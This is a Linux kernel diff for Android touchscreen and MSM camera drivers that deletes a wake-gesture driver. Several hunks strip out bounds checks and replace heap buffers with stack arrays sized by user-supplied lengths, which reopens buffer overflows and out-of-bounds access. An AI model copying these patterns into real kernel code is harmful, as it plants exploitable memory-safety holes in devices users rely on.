04e1ab4075cf6..1df19bffad884 100644 --- a/drivers/input/touchscreen/synaptics_dsx/synaptics_dsx_fw_update.c +++ b/drivers/input/touchscreen/synaptics_dsx/synaptics_dsx_fw_update.c @@ -1530,13 +1530,6 @@ static ssize_t fwu_sysfs_store_image(struct file *data_file, struct kobject *kobj, struct bin_attribute *attributes, char *buf, loff_t pos, size_t count) { - if (count > (fwu->image_size - fwu->data_pos)) { - dev_err(fwu->rmi4_data->pdev->dev.parent, - "%s: Not enough space in buffer\n", - __func__); - return -EINVAL; - } - memcpy((void *)(&fwu->ext_data_source[fwu->data_pos]), (const void *)buf, count); diff --git a/drivers/input/touchscreen/synaptics_dsx/synaptics_dsx_rmi_dev.c b/drivers/input/touchscreen/synaptics_dsx/synaptics_dsx_rmi_dev.c index 9d61eb110e2f1..4c341ffb60940 100644 --- a/drivers/input/touchscreen/synaptics_dsx/synaptics_dsx_rmi_dev.c +++ b/drivers/input/touchscreen/synaptics_dsx/synaptics_dsx_rmi_dev.c @@ -347,7 +347,7 @@ static ssize_t rmidev_read(struct file *filp, char __user *buf, size_t count, loff_t *f_pos) { ssize_t retval; - unsigned char *tmpbuf; + unsigned char tmpbuf[count + 1]; struct rmidev_data *dev_data = filp->private_data; if (IS_ERR(dev_data)) { @@ -361,10 +361,6 @@ static ssize_t rmidev_read(struct file *filp, char __user *buf, if (count > (REG_ADDR_LIMIT - *f_pos)) count = REG_ADDR_LIMIT - *f_pos; - tmpbuf = kzalloc(count + 1, GFP_KERNEL); - if (!tmpbuf) - return -ENOMEM; - mutex_lock(&(dev_data->file_mutex)); retval = synaptics_rmi4_reg_read(rmidev->rmi4_data, @@ -381,7 +377,7 @@ static ssize_t rmidev_read(struct file *filp, char __user *buf, clean_up: mutex_unlock(&(dev_data->file_mutex)); - kfree(tmpbuf); + return retval; } @@ -397,7 +393,7 @@ static ssize_t rmidev_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos) { ssize_t retval; - unsigned char *tmpbuf; + unsigned char tmpbuf[count + 1]; struct rmidev_data *dev_data = filp->private_data; if (IS_ERR(dev_data)) { @@ -411,14 +407,9 @@ static ssize_t rmidev_write(struct file *filp, const char __user *buf, if (count > (REG_ADDR_LIMIT - *f_pos)) count = REG_ADDR_LIMIT - *f_pos; - tmpbuf = kzalloc(count + 1, GFP_KERNEL); - if (!tmpbuf) - return -ENOMEM; - - if (copy_from_user(tmpbuf, buf, count)) { - kfree(tmpbuf); + if (copy_from_user(tmpbuf, buf, count)) return -EFAULT; - } + mutex_lock(&(dev_data->file_mutex)); retval = synaptics_rmi4_reg_write(rmidev->rmi4_data, @@ -429,7 +420,7 @@ static ssize_t rmidev_write(struct file *filp, const char __user *buf, *f_pos += retval; mutex_unlock(&(dev_data->file_mutex)); - kfree(tmpbuf); + return retval; } diff --git a/drivers/input/touchscreen/synaptics_fw_update.c b/drivers/input/touchscreen/synaptics_fw_update.c index 0f94d753cf799..69eed33729519 100644 --- a/drivers/input/touchscreen/synaptics_fw_update.c +++ b/drivers/input/touchscreen/synaptics_fw_update.c @@ -1708,13 +1708,6 @@ static ssize_t fwu_sysfs_store_image(struct file *data_file, struct kobject *kobj, struct bin_attribute *attributes, char *buf, loff_t pos, size_t count) { - if (count > fwu->image_size - fwu->data_pos) { - dev_err(&fwu->rmi4_data->i2c_client->dev, - "%s: Not enough space in buffer\n", - __func__); - return -EINVAL; - } - memcpy((void *)(&fwu->ext_data_source[fwu->data_pos]), (const void *)buf, count); diff --git a/drivers/input/touchscreen/synaptics_rmi_dev.c b/drivers/input/touchscreen/synaptics_rmi_dev.c index ff4f426df7d55..88595582579e0 100644 --- a/drivers/input/touchscreen/synaptics_rmi_dev.c +++ b/drivers/input/touchscreen/synaptics_rmi_dev.c @@ -291,7 +291,7 @@ static ssize_t rmidev_read(struct file *filp, char __user *buf, size_t count, loff_t *f_pos) { ssize_t retval; - unsigned char *tmpbuf; + unsigned char tmpbuf[count + 1]; struct rmidev_data *dev_data = filp->private_data; if (IS_ERR(dev_data)) { @@ -305,10 +305,6 @@ static ssize_t rmidev_read(struct file *filp, char __user *buf, if (count > (REG_ADDR_LIMIT - *f_pos)) count = REG_ADDR_LIMIT - *f_pos; - tmpbuf = kzalloc(count + 1, GFP_KERNEL); - if (!tmpbuf) - return -ENOMEM; - mutex_lock(&(dev_data->file_mutex)); retval = rmidev->fn_ptr->read(rmidev->rmi4_data, @@ -325,7 +321,7 @@ static ssize_t rmidev_read(struct file *filp, char __user *buf, clean_up: mutex_unlock(&(dev_data->file_mutex)); - kfree(tmpbuf); + return retval; } @@ -341,7 +337,7 @@ static ssize_t rmidev_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos) { ssize_t retval; - unsigned char *tmpbuf; + unsigned char tmpbuf[count + 1]; struct rmidev_data *dev_data = filp->private_data; if (IS_ERR(dev_data)) { @@ -355,14 +351,8 @@ static ssize_t rmidev_write(struct file *filp, const char __user *buf, if (count > (REG_ADDR_LIMIT - *f_pos)) count = REG_ADDR_LIMIT - *f_pos; - tmpbuf = kzalloc(count + 1, GFP_KERNEL); - if (!tmpbuf) - return -ENOMEM; - - if (copy_from_user(tmpbuf, buf, count)) { - kfree(tmpbuf); + if (copy_from_user(tmpbuf, buf, count)) return -EFAULT; - } mutex_lock(&(dev_data->file_mutex)); @@ -374,7 +364,7 @@ static ssize_t rmidev_write(struct file *filp, const char __user *buf, *f_pos += retval; mutex_unlock(&(dev_data->file_mutex)); - kfree(tmpbuf); + return retval; } diff --git a/drivers/input/touchscreen/usbtouchscreen.c b/drivers/input/touchscreen/usbtouchscreen.c index 20aef5d5a2421..5f87bed054674 100644 --- a/drivers/input/touchscreen/usbtouchscreen.c +++ b/drivers/input/touchscreen/usbtouchscreen.c @@ -626,9 +626,6 @@ static int dmc_tsc10_init(struct usbtouch_usb *usbtouch) goto err_out; } - /* TSC-25 data sheet specifies a delay after the RESET command */ - msleep(150); - /* set coordinate output rate */ buf[0] = buf[1] = 0xFF; ret = usb_control_msg(dev, usb_rcvctrlpipe (dev, 0), diff --git a/drivers/input/touchscreen/wacom_w8001.c b/drivers/input/touchscreen/wacom_w8001.c index abba11220f290..9a83be6b6584f 100644 --- a/drivers/input/touchscreen/wacom_w8001.c +++ b/drivers/input/touchscreen/wacom_w8001.c @@ -28,7 +28,7 @@ MODULE_AUTHOR("Jaya Kumar "); MODULE_DESCRIPTION(DRIVER_DESC); MODULE_LICENSE("GPL"); -#define W8001_MAX_LENGTH 13 +#define W8001_MAX_LENGTH 11 #define W8001_LEAD_MASK 0x80 #define W8001_LEAD_BYTE 0x80 #define W8001_TAB_MASK 0x40 diff --git a/drivers/input/touchscreen/wake_gestures.c b/drivers/input/touchscreen/wake_gestures.c deleted file mode 100644 index 5e6cf3655bb91..0000000000000 --- a/drivers/input/touchscreen/wake_gestures.c +++ /dev/null @@ -1,757 +0,0 @@ -/* - * drivers/input/touchscreen/wake_gestures.c - * - * - * Copyright (c) 2013, Dennis Rassmann - * Copyright (c) 2013-16 Aaron Segaert - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, but WITHOUT - * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or - * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for - * more details. - * - * You should have received a copy of the GNU General Public License along - * with this program; if not, write to the Free Software Foundation, Inc., - * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. - */ - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -/* -#include -*/ - -/* Tuneables */ -#define WG_DEBUG 0 -#define WG_DEFAULT 0 -#define DT2W_DEFAULT 0 -#define S2W_DEFAULT 0 -#define S2S_DEFAULT 0 -#define WG_PWRKEY_DUR 60 - -/* Redmi 2 */ -#define SWEEP_Y_MAX 1280 -#define SWEEP_X_MAX 720 -#define SWEEP_EDGE 65 -#define SWEEP_Y_LIMIT SWEEP_Y_MAX-SWEEP_EDGE -#define SWEEP_X_LIMIT SWEEP_X_MAX-SWEEP_EDGE -#define SWEEP_X_B1 216 -#define SWEEP_X_B2 480 -#define SWEEP_Y_START 533 -#define SWEEP_X_START 360 -#define SWEEP_X_FINAL 180 -#define SWEEP_Y_NEXT 150 -#define DT2W_FEATHER 150 -#define DT2W_TIME 500 - -/* Wake Gestures */ -#define SWEEP_TIMEOUT 300 -#define TRIGGER_TIMEOUT 500 -#define WAKE_GESTURE 0x0b -#define SWEEP_RIGHT 0x01 -#define SWEEP_LEFT 0x02 -#define SWEEP_UP 0x04 -#define SWEEP_DOWN 0x08 - -#define WAKE_GESTURES_ENABLED 1 - -#define LOGTAG "WG" - -#if (WAKE_GESTURES_ENABLED) -int gestures_switch = WG_DEFAULT; -static struct input_dev *gesture_dev; -#endif - -/* Resources */ -int s2w_switch = S2W_DEFAULT; -int s2w_switch_temp; -bool s2w_switch_changed = false; -int dt2w_switch = DT2W_DEFAULT; -int dt2w_switch_temp; -bool dt2w_switch_changed = false; -static int s2s_switch = S2S_DEFAULT; -static int touch_x = 0, touch_y = 0; -static bool touch_x_called = false, touch_y_called = false; -static bool exec_countx = true, exec_county = true, exec_count = true; -static bool barrierx[2] = {false, false}, barriery[2] = {false, false}; -static int firstx = 0, firsty = 0; -static int sweep_y_limit = SWEEP_Y_LIMIT; -static int sweep_x_limit = SWEEP_X_LIMIT; -static unsigned long firstx_time = 0, firsty_time = 0; -static unsigned long pwrtrigger_time[2] = {0, 0}; -static unsigned long long tap_time_pre = 0; -static int touch_nr = 0, x_pre = 0, y_pre = 0; -static bool touch_cnt = true; - -static struct input_dev * wake_dev; -static DEFINE_MUTEX(pwrkeyworklock); -static struct workqueue_struct *s2w_input_wq; -static struct workqueue_struct *dt2w_input_wq; -static struct work_struct s2w_input_work; -static struct work_struct dt2w_input_work; - -static bool is_suspended(void) -{ - return scr_suspended_ft(); -} - -/* Wake Gestures */ -#if (WAKE_GESTURES_ENABLED) -static void report_gesture(int gest) -{ - pwrtrigger_time[1] = pwrtrigger_time[0]; - pwrtrigger_time[0] = ktime_to_ms(ktime_get()); - - if (pwrtrigger_time[0] - pwrtrigger_time[1] < TRIGGER_TIMEOUT) - return; - - input_report_rel(gesture_dev, WAKE_GESTURE, gest); - input_sync(gesture_dev); -} -#endif - -/* PowerKey work func */ -static void wake_presspwr(struct work_struct * wake_presspwr_work) { - if (!mutex_trylock(&pwrkeyworklock)) - return; - - input_event(wake_dev, EV_KEY, KEY_POWER, 1); - input_event(wake_dev, EV_SYN, 0, 0); - msleep(WG_PWRKEY_DUR); - input_event(wake_dev, EV_KEY, KEY_POWER, 0); - input_event(wake_dev, EV_SYN, 0, 0); - msleep(WG_PWRKEY_DUR); - mutex_unlock(&pwrkeyworklock); - - return; -} -static DECLARE_WORK(wake_presspwr_work, wake_presspwr); - -/* PowerKey trigger */ -static void wake_pwrtrigger(void) { - pwrtrigger_time[1] = pwrtrigger_time[0]; - pwrtrigger_time[0] = ktime_to_ms(ktime_get()); - - if (pwrtrigger_time[0] - pwrtrigger_time[1] < TRIGGER_TIMEOUT) - return; - - schedule_work(&wake_presspwr_work); - - return; -} - - -/* Doubletap2wake */ - -static void doubletap2wake_reset(void) { - exec_count = true; - touch_nr = 0; - tap_time_pre = 0; - x_pre = 0; - y_pre = 0; -} - -static unsigned int calc_feather(int coord, int prev_coord) { - int calc_coord = 0; - calc_coord = coord-prev_coord; - if (calc_coord < 0) - calc_coord = calc_coord * (-1); - return calc_coord; -} - -/* init a new touch */ -static void new_touch(int x, int y) { - tap_time_pre = ktime_to_ms(ktime_get()); - x_pre = x; - y_pre = y; - touch_nr++; -} - -/* Doubletap2wake main function */ -static void detect_doubletap2wake(int x, int y, bool st) -{ - bool single_touch = st; -#if WG_DEBUG - pr_info(LOGTAG"x,y(%4d,%4d) tap_time_pre:%llu\n", - x, y, tap_time_pre); -#endif - if (x < SWEEP_EDGE || x > sweep_x_limit) - return; - if (y < SWEEP_EDGE || y > sweep_y_limit) - return; - - if ((single_touch) && (dt2w_switch) && (exec_count) && (touch_cnt)) { - touch_cnt = false; - if (touch_nr == 0) { - new_touch(x, y); - } else if (touch_nr == 1) { - if ((calc_feather(x, x_pre) < DT2W_FEATHER) && - (calc_feather(y, y_pre) < DT2W_FEATHER) && - ((ktime_to_ms(ktime_get())-tap_time_pre) < DT2W_TIME)) - touch_nr++; - else { - doubletap2wake_reset(); - new_touch(x, y); - } - } else { - doubletap2wake_reset(); - new_touch(x, y); - } - if ((touch_nr > 1)) { - exec_count = false; -#if (WAKE_GESTURES_ENABLED) - if (gestures_switch) { - report_gesture(5); - } else { -#endif - wake_pwrtrigger(); -#if (WAKE_GESTURES_ENABLED) - } -#endif - doubletap2wake_reset(); - } - } -} - - -/* Sweep2wake/Sweep2sleep */ -static void sweep2wake_reset(void) { - - exec_countx = true; - barrierx[0] = false; - barrierx[1] = false; - firstx = 0; - firstx_time = 0; - - exec_county = true; - barriery[0] = false; - barriery[1] = false; - firsty = 0; - firsty_time = 0; -} - -/* Sweep2wake main functions*/ -static void detect_sweep2wake_v(int x, int y, bool st) -{ - int prevy = 0, nexty = 0; - bool single_touch = st; - - if (firsty == 0) { - firsty = y; - firsty_time = ktime_to_ms(ktime_get()); - } - -#if WG_DEBUG - pr_info(LOGTAG"s2w vert x,y(%4d,%4d) single:%s\n", - x, y, (single_touch) ? "true" : "false"); -#endif - - //sweep up - if (firsty > SWEEP_Y_START && single_touch && s2w_switch & SWEEP_UP) { - prevy = firsty; - nexty = prevy - SWEEP_Y_NEXT; - if (barriery[0] == true || (y < prevy && y > nexty)) { - prevy = nexty; - nexty -= SWEEP_Y_NEXT; - barriery[0] = true; - if (barriery[1] == true || (y < prevy && y > nexty)) { - prevy = nexty; - barriery[1] = true; - if (y < prevy) { - if (y < (nexty - SWEEP_Y_NEXT)) { - if (exec_county && (ktime_to_ms(ktime_get()) - firsty_time < SWEEP_TIMEOUT)) { -#if (WAKE_GESTURES_ENABLED) - if (gestures_switch) { - report_gesture(3); - } else { -#endif - wake_pwrtrigger(); -#if (WAKE_GESTURES_ENABLED) - } -#endif - exec_county = false; - } - } - } - } - } - //sweep down - } else if (firsty <= SWEEP_Y_START && single_touch && s2w_switch & SWEEP_DOWN) { - prevy = firsty; - nexty = prevy + SWEEP_Y_NEXT; - if (barriery[0] == true || (y > prevy && y < nexty)) { - prevy = nexty; - nexty += SWEEP_Y_NEXT; - barriery[0] = true; - if (barriery[1] == true || (y > prevy && y < nexty)) { - prevy = nexty; - barriery[1] = true; - if (y > prevy) { - if (y > (nexty + SWEEP_Y_NEXT)) { - if (exec_county && (ktime_to_ms(ktime_get()) - firsty_time < SWEEP_TIMEOUT)) { -#if (WAKE_GESTURES_ENABLED) - if (gestures_switch) { - report_gesture(4); - } else { -#endif - wake_pwrtrigger(); -#if (WAKE_GESTURES_ENABLED) - } -#endif - exec_county = false; - } - } - } - } - } - } - -} - -static void detect_sweep2wake_h(int x, int y, bool st, bool scr_suspended) -{ - int prevx = 0, nextx = 0; - bool single_touch = st; - - if (!scr_suspended && y < sweep_y_limit) { - sweep2wake_reset(); - return; - } - - if (firstx == 0) { - firstx = x; - firstx_time = ktime_to_ms(ktime_get()); - } - -#if WG_DEBUG - pr_info(LOGTAG"s2w Horz x,y(%4d,%4d) wake:%s\n", - x, y, (scr_suspended) ? "true" : "false"); -#endif - //left->right - if (firstx < SWEEP_X_START && single_touch && - ((scr_suspended && (s2w_switch & SWEEP_RIGHT)) || - (!scr_suspended && (s2s_switch & SWEEP_RIGHT)))) { - prevx = 0; - nextx = SWEEP_X_B1; - if ((barrierx[0] == true) || - ((x > prevx) && (x < nextx))) { - prevx = nextx; - nextx = SWEEP_X_B2; - barrierx[0] = true; - if ((barrierx[1] == true) || - ((x > prevx) && (x < nextx))) { - prevx = nextx; - barrierx[1] = true; - if (x > prevx) { - if (x > (SWEEP_X_MAX - SWEEP_X_FINAL)) { - if (exec_countx && (ktime_to_ms(ktime_get()) - firstx_time < SWEEP_TIMEOUT)) { -#if (WAKE_GESTURES_ENABLED) - if (gestures_switch && scr_suspended) { - report_gesture(1); - } else { -#endif - wake_pwrtrigger(); -#if (WAKE_GESTURES_ENABLED) - } -#endif - exec_countx = false; - } - } - } - } - } - //right->left - } else if (firstx >= SWEEP_X_START && single_touch && - ((scr_suspended && (s2w_switch & SWEEP_LEFT)) || - (!scr_suspended && (s2s_switch & SWEEP_LEFT)))) { - prevx = (SWEEP_X_MAX - SWEEP_X_FINAL); - nextx = SWEEP_X_B2; - if ((barrierx[0] == true) || - ((x < prevx) && (x > nextx))) { - prevx = nextx; - nextx = SWEEP_X_B1; - barrierx[0] = true; - if ((barrierx[1] == true) || - ((x < prevx) && (x > nextx))) { - prevx = nextx; - barrierx[1] = true; - if (x < prevx) { - if (x < SWEEP_X_FINAL) { - if (exec_countx) { -#if (WAKE_GESTURES_ENABLED) - if (gestures_switch && scr_suspended) { - report_gesture(2); - } else { -#endif - wake_pwrtrigger(); -#if (WAKE_GESTURES_ENABLED) - } -#endif - exec_countx = false; - } - } - } - } - } - } -} - -static void s2w_input_callback(struct work_struct *unused) -{ - detect_sweep2wake_h(touch_x, touch_y, true, is_suspended()); - if (is_suspended()) - detect_sweep2wake_v(touch_x, touch_y, true); - - return; -} - -static void dt2w_input_callback(struct work_struct *unused) -{ - - if (is_suspended() && dt2w_switch) - detect_doubletap2wake(touch_x, touch_y, true); - return; -} - -static void wg_input_event(struct input_handle *handle, unsigned int type, - unsigned int code, int value) -{ - if (is_suspended() && code == ABS_MT_POSITION_X) { - value -= 5000; - } - -#if WG_DEBUG - pr_info("wg: code: %s|%u, val: %i\n", - ((code==ABS_MT_POSITION_X) ? "X" : - (code==ABS_MT_POSITION_Y) ? "Y" : - (code==ABS_MT_TRACKING_ID) ? "ID" : - "undef"), code, value); -#endif - - if (code == ABS_MT_SLOT) { - sweep2wake_reset(); - doubletap2wake_reset(); - return; - } - - if (code == ABS_MT_TRACKING_ID && value == -1) { - sweep2wake_reset(); - touch_cnt = true; - queue_work_on(0, dt2w_input_wq, &dt2w_input_work); - return; - } - - if (code == ABS_MT_POSITION_X) { - touch_x = value; - touch_x_called = true; - } - - if (code == ABS_MT_POSITION_Y) { - touch_y = value; - touch_y_called = true; - } - - if (touch_x_called && touch_y_called) { - touch_x_called = false; - touch_y_called = false; - queue_work_on(0, s2w_input_wq, &s2w_input_work); - } else if (!is_suspended() && touch_x_called && !touch_y_called) { - touch_x_called = false; - touch_y_called = false; - queue_work_on(0, s2w_input_wq, &s2w_input_work); - } -} - -static int input_dev_filter(struct input_dev *dev) { - if (strstr(dev->name, "ft5x06_ts")) { - return 0; - } - else { - return 1; - } - return 0; -} - -static int wg_input_connect(struct input_handler *handler, - struct input_dev *dev, const struct input_device_id *id) { - struct input_handle *handle; - int error; - - if (input_dev_filter(dev)) - return -ENODEV; - - handle = kzalloc(sizeof(struct input_handle), GFP_KERNEL); - if (!handle) - return -ENOMEM; - - handle->dev = dev; - handle->handler = handler; - handle->name = "wg"; - - error = input_register_handle(handle); - if (error) - goto err2; - - error = input_open_device(handle); - if (error) - goto err1; - - return 0; -err1: - input_unregister_handle(handle); -err2: - kfree(handle); - return error; -} - -static void wg_input_disconnect(struct input_handle *handle) { - input_close_device(handle); - input_unregister_handle(handle); - kfree(handle); -} - -static const struct input_device_id wg_ids[] = { - { .driver_info = 1 }, - { }, -}; - -static struct input_handler wg_input_handler = { - .event = wg_input_event, - .connect = wg_input_connect, - .disconnect = wg_input_disconnect, - .name = "wg_inputreq", - .id_table = wg_ids, -}; - - -/* - * SYSFS stuff below here - */ -static ssize_t sweep2wake_show(struct device *dev, - struct device_attribute *attr, char *buf) -{ - size_t count = 0; - - count += sprintf(buf, "%d\n", s2w_switch); - - return count; -} - -static ssize_t sweep2wake_dump(struct device *dev, - struct device_attribute *attr, const char *buf, size_t count) -{ - sscanf(buf, "%d ", &s2w_switch_temp); - if (s2w_switch_temp < 0 || s2w_switch_temp > 15) - s2w_switch_temp = 0; - - if (!is_suspended()) - s2w_switch = s2w_switch_temp; - else - s2w_switch_changed = true; - - return count; -} - -static DEVICE_ATTR(sweep2wake, (S_IWUSR|S_IRUGO), - sweep2wake_show, sweep2wake_dump); - -static ssize_t sweep2sleep_show(struct device *dev, - struct device_attribute *attr, char *buf) -{ - size_t count = 0; - count += sprintf(buf, "%d\n", s2s_switch); - return count; -} - -static ssize_t sweep2sleep_dump(struct device *dev, - struct device_attribute *attr, const char *buf, size_t count) -{ - sscanf(buf, "%d ", &s2s_switch); - if (s2s_switch < 0 || s2s_switch > 3) - s2s_switch = 0; - - return count; -} - -static DEVICE_ATTR(sweep2sleep, (S_IWUSR|S_IRUGO), - sweep2sleep_show, sweep2sleep_dump); - -static ssize_t doubletap2wake_show(struct device *dev, - struct device_attribute *attr, char *buf) -{ - size_t count = 0; - - count += sprintf(buf, "%d\n", dt2w_switch); - - return count; -} - -static ssize_t doubletap2wake_dump(struct device *dev, - struct device_attribute *attr, const char *buf, size_t count) -{ - sscanf(buf, "%d ", &dt2w_switch_temp); - if (dt2w_switch_temp < 0 || dt2w_switch_temp > 1) - dt2w_switch_temp = 0; - - if (!is_suspended()) - dt2w_switch = dt2w_switch_temp; - else - dt2w_switch_changed = true; - - return count; -} - -static DEVICE_ATTR(doubletap2wake, (S_IWUSR|S_IRUGO), - doubletap2wake_show, doubletap2wake_dump); - -#if (WAKE_GESTURES_ENABLED) -static ssize_t wake_gestures_show(struct device *dev, - struct device_attribute *attr, char *buf) -{ - size_t count = 0; - count += sprintf(buf, "%d\n", gestures_switch); - return count; -} -static ssize_t wake_gestures_dump(struct device *dev, - struct device_attribute *attr, const char *buf, size_t count) -{ - sscanf(buf, "%d ", &gestures_switch); - if (gestures_switch < 0 || gestures_switch > 1) - gestures_switch = 0; - return count; -} - -static DEVICE_ATTR(wake_gestures, (S_IWUSR|S_IRUGO), - wake_gestures_show, wake_gestures_dump); -#endif - -/* - * INIT / EXIT stuff below here - */ - -struct kobject *android_touch_kobj; -EXPORT_SYMBOL_GPL(android_touch_kobj); - -static int __init wake_gestures_init(void) -{ - int rc = 0; - - wake_dev = input_allocate_device(); - if (!wake_dev) { - pr_err("Failed to allocate wake_dev\n"); - goto err_alloc_dev; - } - - input_set_capability(wake_dev, EV_KEY, KEY_POWER); - wake_dev->name = "wg_pwrkey"; - wake_dev->phys = "wg_pwrkey/input0"; - - rc = input_register_device(wake_dev); - if (rc) { - pr_err("%s: input_register_device err=%d\n", __func__, rc); - goto err_input_dev; - } - - rc = input_register_handler(&wg_input_handler); - if (rc) - pr_err("%s: Failed to register wg_input_handler\n", __func__); - - s2w_input_wq = create_workqueue("s2wiwq"); - if (!s2w_input_wq) { - pr_err("%s: Failed to create s2wiwq workqueue\n", __func__); - return -EFAULT; - } - INIT_WORK(&s2w_input_work, s2w_input_callback); - - dt2w_input_wq = create_workqueue("dt2wiwq"); - if (!dt2w_input_wq) { - pr_err("%s: Failed to create dt2wiwq workqueue\n", __func__); - return -EFAULT; - } - INIT_WORK(&dt2w_input_work, dt2w_input_callback); - -#if (WAKE_GESTURES_ENABLED) - gesture_dev = input_allocate_device(); - if (!gesture_dev) { - pr_err("Failed to allocate gesture_dev\n"); - goto err_alloc_dev; - } - - gesture_dev->name = "wake_gesture"; - gesture_dev->phys = "wake_gesture/input0"; - input_set_capability(gesture_dev, EV_REL, WAKE_GESTURE); - - rc = input_register_device(gesture_dev); - if (rc) { - pr_err("%s: input_register_device err=%d\n", __func__, rc); - goto err_gesture_dev; - } -#endif - - android_touch_kobj = kobject_create_and_add("android_touch", NULL) ; - if (android_touch_kobj == NULL) { - pr_warn("%s: android_touch_kobj create_and_add failed\n", __func__); - } - rc = sysfs_create_file(android_touch_kobj, &dev_attr_sweep2wake.attr); - if (rc) { - pr_warn("%s: sysfs_create_file failed for sweep2wake\n", __func__); - } - rc = sysfs_create_file(android_touch_kobj, &dev_attr_sweep2sleep.attr); - if (rc) { - pr_warn("%s: sysfs_create_file failed for sweep2sleep\n", __func__); - } - rc = sysfs_create_file(android_touch_kobj, &dev_attr_doubletap2wake.attr); - if (rc) { - pr_warn("%s: sysfs_create_file failed for doubletap2wake\n", __func__); - } -#if (WAKE_GESTURES_ENABLED) - rc = sysfs_create_file(android_touch_kobj, &dev_attr_wake_gestures.attr); - if (rc) { - pr_warn("%s: sysfs_create_file failed for wake_gestures\n", __func__); - } - - return 0; - -err_gesture_dev: - input_free_device(gesture_dev); -err_input_dev: - input_free_device(wake_dev); -err_alloc_dev: -#endif - - return 0; -} - -static void __exit wake_gestures_exit(void) -{ - kobject_del(android_touch_kobj); - input_unregister_handler(&wg_input_handler); - destroy_workqueue(s2w_input_wq); - destroy_workqueue(dt2w_input_wq); - input_unregister_device(wake_dev); - input_free_device(wake_dev); -#if (WAKE_GESTURES_ENABLED) - input_unregister_device(gesture_dev); - input_free_device(gesture_dev); -#endif - - return; -} - -module_init(wake_gestures_init); -module_exit(wake_gestures_exit); diff --git a/drivers/media/platform/msm/camera_v2/isp/msm_buf_mgr.c b/drivers/media/platform/msm/camera_v2/isp/msm_buf_mgr.c index bf0d2016d8447..bce581e2984fd 100644 --- a/drivers/media/platform/msm/camera_v2/isp/msm_buf_mgr.c +++ b/drivers/media/platform/msm/camera_v2/isp/msm_buf_mgr.c @@ -1,4 +1,4 @@ -/* Copyright (c) 2013-2014,2016 The Linux Foundation. All rights reserved. +/* Copyright (c) 2013-2014, The Linux Foundation. All rights reserved. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 and @@ -43,11 +43,8 @@ struct msm_isp_bufq *msm_isp_get_bufq( { struct msm_isp_bufq *bufq = NULL; uint32_t bufq_index = bufq_handle & 0xFF; - - if ((bufq_handle == 0) || - (bufq_index > buf_mgr->num_buf_q) || - (bufq_index >= BUF_MGR_NUM_BUF_Q) ) - return NULL; + if (bufq_index > buf_mgr->num_buf_q) + return bufq; bufq = &buf_mgr->bufq[bufq_index]; if (bufq->bufq_handle == bufq_handle) diff --git a/drivers/media/platform/msm/camera_v2/isp/msm_isp.h b/drivers/media/platform/msm/camera_v2/isp/msm_isp.h index 4a02a901461d4..bfa4bc6b61e05 100644 --- a/drivers/media/platform/msm/camera_v2/isp/msm_isp.h +++ b/drivers/media/platform/msm/camera_v2/isp/msm_isp.h @@ -97,9 +97,6 @@ struct msm_vfe_irq_ops { void (*process_reg_update) (struct vfe_device *vfe_dev, uint32_t irq_status0, uint32_t irq_status1, struct msm_isp_timestamp *ts); - void (*process_epoch_irq)(struct vfe_device *vfe_dev, - uint32_t irq_status0, uint32_t irq_status1, - struct msm_isp_timestamp *ts); void (*process_reset_irq) (struct vfe_device *vfe_dev, uint32_t irq_status0, uint32_t irq_status1); void (*process_halt_irq) (struct vfe_device *vfe_dev, @@ -164,7 +161,7 @@ struct msm_vfe_axi_ops { }; struct msm_vfe_core_ops { - void (*reg_update) (struct vfe_device *vfe_dev, uint32_t input_src); + void (*reg_update) (struct vfe_device *vfe_dev); long (*reset_hw) (struct vfe_device *vfe_dev, uint32_t first_start, uint32_t blocking_call); int (*init_hw) (struct vfe_device *vfe_dev); @@ -309,6 +306,7 @@ struct msm_vfe_axi_stream { uint32_t request_frm_num; uint8_t buf_divert; enum msm_vfe_axi_stream_type stream_type; + uint32_t vt_enable; uint32_t frame_based; enum msm_vfe_frame_skip_pattern frame_skip_pattern; uint32_t framedrop_period; diff --git a/drivers/media/platform/msm/camera_v2/isp/msm_isp32.c b/drivers/media/platform/msm/camera_v2/isp/msm_isp32.c index 5029fffdb8484..181ce2a21e33e 100644 --- a/drivers/media/platform/msm/camera_v2/isp/msm_isp32.c +++ b/drivers/media/platform/msm/camera_v2/isp/msm_isp32.c @@ -398,16 +398,6 @@ static void msm_vfe32_process_halt_irq(struct vfe_device *vfe_dev, } } -static void msm_vfe32_process_epoch_irq(struct vfe_device *vfe_dev, - uint32_t irq_status0, uint32_t irq_status1, - struct msm_isp_timestamp *ts) -{ - if (!(irq_status0 & 0x18)) - return; - if (irq_status0 & (1 << 3)) - msm_isp_notify(vfe_dev, ISP_EVENT_SOF, VFE_PIX_0, ts); -} - static void msm_vfe32_process_camif_irq(struct vfe_device *vfe_dev, uint32_t irq_status0, uint32_t irq_status1, struct msm_isp_timestamp *ts) @@ -420,7 +410,7 @@ static void msm_vfe32_process_camif_irq(struct vfe_device *vfe_dev, if (vfe_dev->axi_data.src_info[VFE_PIX_0].raw_stream_count > 0 && vfe_dev->axi_data.src_info[VFE_PIX_0]. pix_stream_count == 0) { - msm_isp_notify(vfe_dev, ISP_EVENT_SOF, VFE_PIX_0, ts); + msm_isp_sof_notify(vfe_dev, VFE_PIX_0, ts); if (vfe_dev->axi_data.stream_update) msm_isp_axi_stream_update(vfe_dev, (1 << VFE_PIX_0)); @@ -615,19 +605,19 @@ static void msm_vfe32_process_reg_update(struct vfe_device *vfe_dev, return; if (irq_status0 & BIT(5)) { - msm_isp_notify(vfe_dev, ISP_EVENT_REG_UPDATE, VFE_PIX_0, ts); + msm_isp_sof_notify(vfe_dev, VFE_PIX_0, ts); input_src |= (1 << VFE_PIX_0); } if (irq_status1 & BIT(26)) { - msm_isp_notify(vfe_dev, ISP_EVENT_SOF, VFE_RAW_0, ts); + msm_isp_sof_notify(vfe_dev, VFE_RAW_0, ts); input_src |= (1 << VFE_RAW_0); } if (irq_status1 & BIT(27)) { - msm_isp_notify(vfe_dev, ISP_EVENT_SOF, VFE_RAW_1, ts); + msm_isp_sof_notify(vfe_dev, VFE_RAW_1, ts); input_src |= (1 << VFE_RAW_1); 